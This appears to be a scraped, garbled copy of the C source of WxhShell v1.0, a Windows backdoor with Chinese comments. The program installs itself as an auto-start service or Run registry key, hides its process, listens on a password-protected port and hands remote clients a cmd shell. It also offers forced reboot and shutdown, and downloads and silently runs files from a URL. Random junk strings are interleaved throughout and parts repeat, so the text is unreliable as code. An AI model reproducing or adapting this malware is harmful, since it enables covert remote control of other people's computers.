"GetModuleBaseNameA"); 5#~E[dr NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6[Wv g -{ES 36 if (!NtQueryInformationProcess) return 0; jIck! 6"yIk4u: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v]y=+* A if(!hProcess) return 0; EbnV"]1 s[#_sR`y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h-6x! 6pm 0t%`jY~% CloseHandle(hProcess); ^#]eCXv Rw^X5ByJE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ ( $U\FW if(hProcess==NULL) return 0; #6@4c5{2=4 g`dAj4B HMODULE hMod; =>L2~>[
char procName[255]; o]<J&<WM unsigned long cbNeeded; }pKKNZ`[ dg#w!etB if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IHv>V9yiG Z@0IvI CloseHandle(hProcess); :@~mN7O* 9JJk\, if(strstr(procName,"services")) return 1; // 以服务启动 yM*_"z!L kOQ!]-; return 0; // 注册表启动 |eK^Yhym } %*OQH?pyx} @s0 mX3P // 主模块 |xrnLdng0R int StartWxhshell(LPSTR lpCmdLine) Q+*@!s { ?8YbTn1f) SOCKET wsl; s#FX2r3=Fg BOOL val=TRUE; ~0rvrDDg int port=0; d
9]zB-A struct sockaddr_in door; ;0-R"c)- I "HEXsSe if(wscfg.ws_autoins) Install(); zT ")!Df>' )H+ p6< port=atoi(lpCmdLine); T!-ly7-` n&8SB'-r if(port<=0) port=wscfg.ws_port; M:oZk&cs ~)*uJ wW/a WSADATA data; bT`et*] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T3PwM2em_` c9Q _Qr0' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {Gw{W&< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j-wKm_M#jX door.sin_family = AF_INET; cC9haxW door.sin_addr.s_addr = inet_addr("127.0.0.1"); `:W }yo<F door.sin_port = htons(port); 0P;\ :-&p $Y8iT<nP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4ULdf|o P" closesocket(wsl); FY
pspv?4 return 1; y<PQ$D) } }brBhe8a .\8LL,zT if(listen(wsl,2) == INVALID_SOCKET) { 8d(l)[GZt closesocket(wsl); -fOBM 4 return 1; &}d5'IRT } zZP&`#TAy Wxhshell(wsl); cyB2=, WSACleanup(); qUk-BG8^ .M0pb^M return 0; R,8Tt!n y 7z)lBy\ } ( +(bw4V/ rq:sy=; // 以NT服务方式启动 3|D .r-Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DuIgFp { )NO,G DWORD status = 0; 5m\)82s DWORD specificError = 0xfffffff; l7U<]i GL {FR+a** serviceStatus.dwServiceType = SERVICE_WIN32; rVwW%& serviceStatus.dwCurrentState = SERVICE_START_PENDING; zm#%]p80f serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iYGa4@/uM serviceStatus.dwWin32ExitCode = 0; MHS|gR.c serviceStatus.dwServiceSpecificExitCode = 0; '
?a d serviceStatus.dwCheckPoint = 0; BwVq:)P/R serviceStatus.dwWaitHint = 0; Ss:'HH4 DPfN*a-P( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VH] <o0 if (hServiceStatusHandle==0) return; \mqrDaB - x; xQ status = GetLastError(); ViU5l*n; if (status!=NO_ERROR) H>%L@Btw { ]$U A5/a serviceStatus.dwCurrentState = SERVICE_STOPPED; AmrVxn4 serviceStatus.dwCheckPoint = 0; ,M$h3B\;r serviceStatus.dwWaitHint = 0; #P
{|7}jk
serviceStatus.dwWin32ExitCode = status; T>,[V: serviceStatus.dwServiceSpecificExitCode = specificError; TV/ EC#48 SetServiceStatus(hServiceStatusHandle, &serviceStatus); SQ<{X/5 return; /)sP<WPQ6 } DH)E9HL
spWo{ serviceStatus.dwCurrentState = SERVICE_RUNNING; 4h
T!DS serviceStatus.dwCheckPoint = 0; gOMy8w4> serviceStatus.dwWaitHint = 0; GtKSA#oYZB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gP>W* ]0r1 } {:=]J4] uvi&! )x // 处理NT服务事件,比如:启动、停止 o3:BH@@ VOID WINAPI NTServiceHandler(DWORD fdwControl) Hxn#vAc { ,o}CBB! k switch(fdwControl) dV
/Es { u(8dsgR case SERVICE_CONTROL_STOP: I A$= serviceStatus.dwWin32ExitCode = 0; IuMJ-" serviceStatus.dwCurrentState = SERVICE_STOPPED; ^?|d< J:{ serviceStatus.dwCheckPoint = 0; 7/iN`3Bz serviceStatus.dwWaitHint = 0; R0K{wY58 { WA.c.{w\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); :k2J
&@8 } mZ.gS1Dq return; qKE +,g' case SERVICE_CONTROL_PAUSE: V{X/y N.u serviceStatus.dwCurrentState = SERVICE_PAUSED; {7`1m!R break; -fN5-AC case SERVICE_CONTROL_CONTINUE: 8t|?b serviceStatus.dwCurrentState = SERVICE_RUNNING; X_)x Fg'k break; 'r1X6?dJ case SERVICE_CONTROL_INTERROGATE: yoz-BS break;
[WXcp1p
}; S'`RP2P SetServiceStatus(hServiceStatusHandle, &serviceStatus); !e+Sa{X } !E,|EdIr # wyjb:Ql // 标准应用程序主函数 SZ:R~4 A int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |W*2L]& { r]Lj@0F>8 5C9
.h:c4y // 获取操作系统版本 B_C."{G OsIsNt=GetOsVer(); .=) *Qx+ GetModuleFileName(NULL,ExeFile,MAX_PATH); C~PP}|<~V Q8_5g$X\ // 从命令行安装 w^:@g~ if(strpbrk(lpCmdLine,"iI")) Install(); %VE FruM ReGT*+UN // 下载执行文件 rddn"~lm1 if(wscfg.ws_downexe) { h7S;
4] if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
&a6-+r WinExec(wscfg.ws_filenam,SW_HIDE); e}s,WC2- } ^;$9>yi1 D'Uc?2X,& if(!OsIsNt) { ?P}) Qa // 如果时win9x,隐藏进程并且设置为注册表启动 #v4^,$k> HideProc(); [a.(0YLr'w StartWxhshell(lpCmdLine); D\E"v,Y\+O } BWr!K5w>i else F5{GMn;j if(StartFromService()) yr)e."#S // 以服务方式启动 ES#q/yab5 StartServiceCtrlDispatcher(DispatchTable); MfA%Xep else 2\gbciJ[{( // 普通方式启动 Djf~8q V! StartWxhshell(lpCmdLine); !Wy&+H*0 @@}muW>;T return 0; 3W3d $ } lPz5.(5' g$8aB{) be.Kx< I Bv`3T Af2 =========================================== >
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1:"ZS ]i " E8We2T[^M D&8*4> #include <stdio.h> ,q
Bu5t #include <string.h> ~I%JVX% #include <windows.h> oF0*X$_X #include <winsock2.h> N37#Vs #include <winsvc.h> et}s yPH #include <urlmon.h> `Y7&}/OM e1K{*h #pragma comment (lib, "Ws2_32.lib") r$Y% 15JV #pragma comment (lib, "urlmon.lib") N)$yBzN h,'m*@Eg #define MAX_USER 100 // 最大客户端连接数 $h'>Zvf #define BUF_SOCK 200 // sock buffer B4 # gT #define KEY_BUFF 255 // 输入 buffer \"A~ks~ 79MB_Is]s #define REBOOT 0 // 重启 I44bm?[S #define SHUTDOWN 1 // 关机 FDRpK5cw $e![^I]` #define DEF_PORT 5000 // 监听端口 c::Vh 6.GIUM%D #define REG_LEN 16 // 注册表键长度 D,'@b+B[ #define SVC_LEN 80 // NT服务名长度 aAkO>X%[ '=m ?l // 从dll定义API ,u<aKae typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `]g}M, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LgS.%Mn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F!yejn
[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |70Lh+ }!RFX)T // wxhshell配置信息 1:lhZFZ struct WSCFG { o@G
<[X|ke int ws_port; // 监听端口 Z(-@8=0 char ws_passstr[REG_LEN]; // 口令 !/MHD int ws_autoins; // 安装标记, 1=yes 0=no vc(6lN9> char ws_regname[REG_LEN]; // 注册表键名 c1p*}T char ws_svcname[REG_LEN]; // 服务名 AZYu/k char ws_svcdisp[SVC_LEN]; // 服务显示名 vZpt}u char ws_svcdesc[SVC_LEN]; // 服务描述信息 }x1p~N+; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QK%6Ncv int ws_downexe; // 下载执行标记, 1=yes 0=no O
hcPlr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $ OMGo`z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .pQ4#AJ ryp@<}A]!d }; I8 {2cM; G>0S(M) // default Wxhshell configuration =-dk@s struct WSCFG wscfg={DEF_PORT,
C vtG "xuhuanlingzhe", u%=M4|7 1, ef=LPCi? "Wxhshell", C0F#PXUy "Wxhshell", niV= Ijt{5 "WxhShell Service", v1Lu.JQC$ "Wrsky Windows CmdShell Service", ye)CfP=ID\ "Please Input Your Password: ", )0JXUC e 1, RWi~34r "http://www.wrsky.com/wxhshell.exe", wDV%.Cc "Wxhshell.exe" X%xX3e' }; C$(US8:{ U<gMgA // 消息定义模块 F&%@p& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f_Ma~'3 char *msg_ws_prompt="\n\r? for help\n\r#>"; nICc}U?k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =e](eA; char *msg_ws_ext="\n\rExit."; 'i;1n char *msg_ws_end="\n\rQuit."; ukpbx;O:hc char *msg_ws_boot="\n\rReboot..."; n^B9Mh@ char *msg_ws_poff="\n\rShutdown..."; >lQ@" U char *msg_ws_down="\n\rSave to "; ~U(`XvR\4 !TvNT}4 Z char *msg_ws_err="\n\rErr!"; ^ gMoW char *msg_ws_ok="\n\rOK!"; Yz]c'M@ v_mk{ char ExeFile[MAX_PATH]; `)%z k W int nUser = 0; fqrQ1{%UH HANDLE handles[MAX_USER]; "BT*9N=| int OsIsNt; u^|c_5J( 7'Z-VO SERVICE_STATUS serviceStatus; "5
;fuM1 SERVICE_STATUS_HANDLE hServiceStatusHandle; uzg(C#sp Su?e\7aj // 函数声明 dp#JvZb int Install(void); (VDY]Q) int Uninstall(void); B|pO2de int DownloadFile(char *sURL, SOCKET wsh); 8C]K36q int Boot(int flag); >RJjm&M void HideProc(void); -!;2?6R9{ int GetOsVer(void); }py)EI,U int Wxhshell(SOCKET wsl); jq%%|J.x void TalkWithClient(void *cs); oC
?UGY~xL int CmdShell(SOCKET sock); _PT5 int StartFromService(void); "Vh3hnS~ int StartWxhshell(LPSTR lpCmdLine); F
t/yPv
J,4,#2M8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bGw56s'R5~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); )X
|[jP `eZzYe(N // 数据结构和表定义 Jq>rA SERVICE_TABLE_ENTRY DispatchTable[] = /pY-how%! { OQW%nF9~ {wscfg.ws_svcname, NTServiceMain}, m)AF9#aT2 {NULL, NULL} (#kKL??W }; #($~e| aVB/CoM9 // 自我安装 mtU{d^B int Install(void) Hg&.U;n { /H4Z.|@ char svExeFile[MAX_PATH]; Zd5Jz+f HKEY key; R2Es~T strcpy(svExeFile,ExeFile); 9|D*}OY> >$$z 6A[ // 如果是win9x系统,修改注册表设为自启动 :@uIEvD? if(!OsIsNt) { Sq&r
; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \?v?%}x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p{
Xde RegCloseKey(key); x~Y{
{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;b{yu| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c@3mfc{ RegCloseKey(key); {N3&JL5\"E return 0; nw4I<Q } apOXcZ } lArKfs/ } cY5w,.Q/! else { "uli~ {IU .k:heN2-x // 如果是NT以上系统,安装为系统服务 M>E~eb/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +GJPj(S if (schSCManager!=0) 80zpRU" { 6ao~f?JZ SC_HANDLE schService = CreateService ZDG~tCh=@ ( %pIP#y[4 schSCManager, oXjoQ wscfg.ws_svcname, IRGcE&m wscfg.ws_svcdisp, FsO_|r SERVICE_ALL_ACCESS, ~NZL~p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4O{G^; SERVICE_AUTO_START, AsD$M*It SERVICE_ERROR_NORMAL, b'``0OB ) svExeFile, ZIKSHC9 NULL, ollsB3]] NULL, VKkvf"X NULL, 'hE'h?-7 NULL, s+~GQcj<T NULL l?QA;9_R' ); ta6>St7. if (schService!=0) ),CKuq> { N]eBmv$| CloseServiceHandle(schService); y XKddD CloseServiceHandle(schSCManager); 43x2BW&& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T/A2Y+@N; strcat(svExeFile,wscfg.ws_svcname); \-pqqSy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (H5#r2h%Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P1AC2<H RegCloseKey(key); k 3H0$1 return 0; IMr#5 } .XqeO@z } }zks@7kf CloseServiceHandle(schSCManager); >+Ig<}p } T60pw } $[}EV(#y 5D.Sg;\ return 1; Y/6>OD } ~+j2a3rv-{ 9Vqy<7i1 // 自我卸载 5[g\.yi2_] int Uninstall(void) xL1Li]fM!' { =Q{?! HKEY key; {g#4E0.A! 3:MJKS02OD if(!OsIsNt) { ~uH_y- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "!D y[J RegDeleteValue(key,wscfg.ws_regname); F@k}p-e~ RegCloseKey(key); $&&E[JY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CvmIDRP* RegDeleteValue(key,wscfg.ws_regname); @J&korU RegCloseKey(key); P
woiX#vz return 0; :^Pks R } j{YYG| } CxeW5qc } aUzCKX%>C else { ;<N:! $p h Fik>B#! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?!&%-R6* if (schSCManager!=0) )PTvw> { n
Syq}Y3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uZtN,Un if (schService!=0) C= V2Y_j { i? ~-% if(DeleteService(schService)!=0) { fCx( CloseServiceHandle(schService); sa4w.9O1GS CloseServiceHandle(schSCManager); R8k4?_W?T return 0; 5\MC5us3 } 7n6g;8xE CloseServiceHandle(schService); ]vlBYAW' }
_%-
+"3Ll CloseServiceHandle(schSCManager); a3<:F2=~\ } 29,ET}~ } z'"7zLQ tLWw<)t return 1; 8rH6L:]S } WN+i 3hC WA8<:#{e // 从指定url下载文件 ![^pAEgx int DownloadFile(char *sURL, SOCKET wsh) ^"X.aksA { 9Q%lS HRESULT hr; |MFAP!rycS char seps[]= "/";
2Qp}f^ char *token; (MI>7| '; char *file; WHY/x /$ char myURL[MAX_PATH]; &7f8\TG| char myFILE[MAX_PATH]; RyJy%|\-S Dz: +.
@k strcpy(myURL,sURL); Sp80xV_B token=strtok(myURL,seps); V_gl#e# while(token!=NULL) ZOqS"3j! j { 8x U*j file=token; zHb[.ry~ token=strtok(NULL,seps); P>C'?'Q7 } MqnUym qT@h/Y GetCurrentDirectory(MAX_PATH,myFILE); "Gp[.=.z? strcat(myFILE, "\\"); 8|i'~BFHs strcat(myFILE, file); [j+:2@ send(wsh,myFILE,strlen(myFILE),0); js<d"m* send(wsh,"...",3,0); tp] 5[U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |6*Bu1 if(hr==S_OK) HrBJi return 0; `F7]M else %xg+UW
} return 1; 0N,<v7PX *8Z2zmZtR^ } 7y'":1 R+M =)Z // 系统电源模块 .>B'oD int Boot(int flag) &u.{]Yjx { vFVUdxPOw HANDLE hToken; *p}mn#ru- TOKEN_PRIVILEGES tkp; kh
W. UphTMyn3 if(OsIsNt) { 1ML L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <k:I2LF_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9(N tkp.PrivilegeCount = 1; ZRagM'K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LTWkHyx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G]'ah1W if(flag==REBOOT) { =Zq6iMD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o+a= return 0; 5*YoK)2J } j<t3bM-G else { ,9P-<P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G?W:O{n3 return 0; +/ukS6>gr } FU3K?A
B } <~smBd else { F0:]@0>r if(flag==REBOOT) { QtW9!p7( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l 00i2w return 0; y(COB6r } .@VZ3" else { w]wZJ/U` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g&$=Y7G return 0; *dBeb } VgHO&vU } &6x(%o| C%o|}i v" return 1; #A/OGi } OIblBQ! ]Z!Y*v // win9x进程隐藏模块 <]rayUyaf void HideProc(void) P<]U { N*Aw-\Bk $plk>Khg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V! Wy[u if ( hKernel != NULL ) @;/Pl>$|'G { ea3w pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4Q|>k)H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .(@=L1C<}J FreeLibrary(hKernel); bY~K)j
v3& } (p{X.X+ (?qCtLZ return; h"`\'(,X } ^#_gk uyd! #/G!nN # // 获取操作系统版本 %K Q1{" int GetOsVer(void) x"2p5T7*> { J}V4.R5d OSVERSIONINFO winfo; @@Q4{o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KXPCkNIN! GetVersionEx(&winfo); yq~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l#0zHBc return 1; C
@Ts\);^ else K$S0h-?9]O return 0; .O-)m'5 } =D(a~8&, ]j&m\'-s // 客户端句柄模块 wkt4vE87 int Wxhshell(SOCKET wsl) +Y?Tr i { t#(NfzN SOCKET wsh; 4phCn5 struct sockaddr_in client; lU1SN/'zx DWORD myID; IogLkhWX SzLlJUV X while(nUser<MAX_USER) e#}t
am { =]@Bc
7@ int nSize=sizeof(client); /E6)>y66 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *JOK8[Qn if(wsh==INVALID_SOCKET) return 1; (u?s@/e:`/ +:Zwo+\kSN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h%j4(v}r{C if(handles[nUser]==0) #hBqgG:> closesocket(wsh); S1r{2s& else .\bJ,of9 nUser++; h),;j`PrC } XU'(^Y8Imz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X0*+]tRg Yyk~!G/@ return 0; % 3#g- } caEIE0H~ b8a(.}8* // 关闭 socket 9No6\{[M
void CloseIt(SOCKET wsh) %[n5mF*` { ,IiKe_B closesocket(wsh); %Vo'\| nUser--; I85wP}c( ExitThread(0); CQ!D{o= } @#wG)TA &Zz&VwWR // 客户端请求句柄 6?"Gj}|r void TalkWithClient(void *cs) !5 S# { ccv |TJ gH<I SOCKET wsh=(SOCKET)cs; ;$eY#ypx char pwd[SVC_LEN]; 7gtaI3 char cmd[KEY_BUFF]; Q*1Avy6] char chr[1]; 41R~.? int i,j; %~eu&\os 8?~>FLWTXZ while (nUser < MAX_USER) { $jk4H+H- .WglLUJ:Z if(wscfg.ws_passstr) { .t^1e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !le#7Kii //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B{#Fm6 //ZeroMemory(pwd,KEY_BUFF); 89[/UxM) i=0; uToi4]w"y while(i<SVC_LEN) { xfUV'=~( e23& d // 设置超时 6\h*SBI?( fd_set FdRead; @sR/l; struct timeval TimeOut; N]BH6 7< FD_ZERO(&FdRead); =)#XZ[#F FD_SET(wsh,&FdRead); 0>,i]
|Y TimeOut.tv_sec=8; *<9M|H~ TimeOut.tv_usec=0; BAqwYWdS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fN`Prs A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pE1uD4lLb x!4<ff. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 98}l`J=i pwd=chr[0]; RG1#\d-fE if(chr[0]==0xd || chr[0]==0xa) { PtjAu pwd=0; Ornm3%p+e break; 8v)Z/R- } _=w=!U&W i++; DUf. F } +C$wkx] i;2V // 如果是非法用户,关闭 socket @M*5q# s if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Q"s;g } ]:6IW: ++kVq$9@y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CwF=@:*d send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t-FrF </0 _T^@,!& while(1) { r^d:Po n%dh|j2u ZeroMemory(cmd,KEY_BUFF); Mc|UD*Z l%cE o`U // 自动支持客户端 telnet标准 Oi!uJofW j=0;
4m9]d) while(j<KEY_BUFF) { Nrp1`qY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i/DUB<>p6 cmd[j]=chr[0]; ^@maF<Jb if(chr[0]==0xa || chr[0]==0xd) { JOq&(AZe cmd[j]=0; q-0(
Wx9| break; |A
u+^#:; } $T'lWD * j++; "qY_O/Eg]] } $Jy1=/W& cr{f*U6` // 下载文件 JLxAk14lc if(strstr(cmd,"http://")) { {Ve_u send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9&KiG* . if(DownloadFile(cmd,wsh)) i\k>2df send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7gbu7"Qc else [RUYH5>Ik send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K<w$ } h.h\)>DM@ else { odpjEeQC \ssqIRk switch(cmd[0]) { QPpC_pZh nx'D&,VX // 帮助 lK3Z}e*eXQ case '?': { <@2g.+9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]PjJy/vkjj break; <-m[0zgq } .~dNzonq // 安装 jAb R[QR1% case 'i': {
UB1/0o if(Install()) \B~}s } send(wsh,msg_ws_err,strlen(msg_ws_err),0);
5QUL-*t else a@V`EEZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Q< >MB7 break; i"o
%Gc } P+nd?:cz // 卸载 avo[~ `. case 'r': { }&O}t{gS* if(Uninstall())
h"DxgG send(wsh,msg_ws_err,strlen(msg_ws_err),0); "xKykSk else 1MnT*w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &!5S'J% break; [GqQ6\ } 7[?{wbq // 显示 wxhshell 所在路径 wz=c#}0dB case 'p': { 1z$K54Mj char svExeFile[MAX_PATH]; i917d@r( < strcpy(svExeFile,"\n\r"); ?m>!P@
M strcat(svExeFile,ExeFile); R9`37(c9+ send(wsh,svExeFile,strlen(svExeFile),0); NhYce> break; nL@(|nJ[ } Xe7/ // 重启 =7212('F case 'b': { zLda+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z0I>PBL@l if(Boot(REBOOT)) Td/J6Q90 send(wsh,msg_ws_err,strlen(msg_ws_err),0); yO`HL'SMo else { NP^j5|A*" closesocket(wsh); 5b5Hc Inu ExitThread(0); 78fFAN` } >q7/zl break; kMP3PS } |qFCzK9tD/ // 关机 zt|DHVy case 'd': { z[~ph/^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yrVk$k#6} if(Boot(SHUTDOWN)) s7>a send(wsh,msg_ws_err,strlen(msg_ws_err),0); r#X6jU else { p.|NZXk%%a closesocket(wsh); zo>@"uH4 ExitThread(0); C_ 4(-OWq } FZ~^cK9g: break; ]]^eIjg>a6 } zD,K_HicI // 获取shell \\UOpl case 's': { mx3p/p CmdShell(wsh); ziTE*rNJ closesocket(wsh); zz_(*0,Qcr ExitThread(0); O.Xhi+ break; >#Ue`)d`aY } w1J%%//(h // 退出 = Y`e?\#` case 'x': { I92orr1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )N'rYS'9 CloseIt(wsh); Sxzt|{ break;
uoi~JF } 1 ` ={** // 离开 DT#F?@LG( case 'q': { G'IRqO*] send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6h9Hf$' closesocket(wsh); ]7DS>%mY( WSACleanup(); _A]=45cn~ exit(1); cl1>S 3 break; ~A$y-Dt'
} 4IGn,D^ } e.VR9O]G } ~U$ioQy< =s/UF _JN // 提示信息 X-k$6}D if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L|]!ULi$d } Cr>YpWm } $*q^7ME tLSM]Q return; AXT(D@sI= } fq4[/%6,O .{,fb // shell模块句柄 2`P=ekF] int CmdShell(SOCKET sock) !Y^3% B% { *Eg[@5;QA STARTUPINFO si; /Xf_b.ZM& ZeroMemory(&si,sizeof(si)); J>N^ FR9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HIsB)W&%@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oxZXY]$y PROCESS_INFORMATION ProcessInfo; BRTCo,i char cmdline[]="cmd"; J-5E# v CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KvY1bMU! return 0; 2}0S%R( } u{8:VX wn/Y5 // 自身启动模式 #,CK;h9jy! int StartFromService(void) ;Z!x\{-L { fjh,e typedef struct Xv2Q8-}w { a?1Ml>R6P DWORD ExitStatus; Ex-?[Hq DWORD PebBaseAddress; 'Rq2x-72} DWORD AffinityMask; BFvRU5&Sz DWORD BasePriority; w^E$R ULONG UniqueProcessId; <`")Zxf+ ULONG InheritedFromUniqueProcessId; F2!]T = } PROCESS_BASIC_INFORMATION; l|sC\;S )MeeF-Ad6 PROCNTQSIP NtQueryInformationProcess; d^qTY?k. _fjHa6S static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
L]wk Ba static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lq]t6o] r^T+I3 HANDLE hProcess; xz3|m
_) PROCESS_BASIC_INFORMATION pbi; 8iUYZF cP^c}e*;NS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o]TKL'gW if(NULL == hInst ) return 0; Jxsch\ -9;XNp g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M,dp; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =4#p|OZP NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9s&dN d8J(~$tXQN if (!NtQueryInformationProcess) return 0; MuF{STE>-> #b>D^=NV>) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q?V'3ZZF! if(!hProcess) return 0; _g%,/y 9y ]N{jF$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )St`}qu; f0 "_ {\ CloseHandle(hProcess); En{<
OMg `M!'PMX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N)
